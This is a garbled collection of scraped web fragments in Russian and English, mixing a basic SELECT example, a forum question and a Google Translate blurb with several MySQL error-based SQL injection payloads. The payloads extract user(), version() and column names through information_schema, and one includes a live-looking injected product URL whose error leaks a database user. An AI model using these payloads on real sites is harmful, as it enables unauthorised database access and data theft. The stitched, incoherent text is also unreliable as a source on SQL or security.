- Базы данных простейший запрос select * from Table where name='Андрей'т.е. вообще существует такая запись.
Last edited by a moderator: 3 Nov 2015.
...85-polymer-cou-dlja-fotopolimernykh-plactin"and(select 1 from(select count(*),concat((select user() from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and".html. (1062) Duplicate entry '[email protected]' for key 'group_key'.
...CONCAT(0x717a6a7871,(SELECT (ELT(4670=4670,1))),0x716a6b7871,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Бесплатный сервис Google позволяет мгновенно переводить слова, фразы и веб-страницы с английского на более чем 100 языков и обратно.
row(1,1)>(select count(*),concat(version(),0x3a,floor(rand(0)*2)) x from (select 1 union select 2)a group by x limit 1)
SELECT 7682 FROM(SELECT COUNT(*),CONCAT(':ugy:1:dxh:',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a.
1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1)b)
I am wondering how to write this query. I know this actual syntax is bogus, but it will help you understand what I am wanting. I need it in this format, because it is part of a much bigger query. …
1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a ... Extract data without information_schema.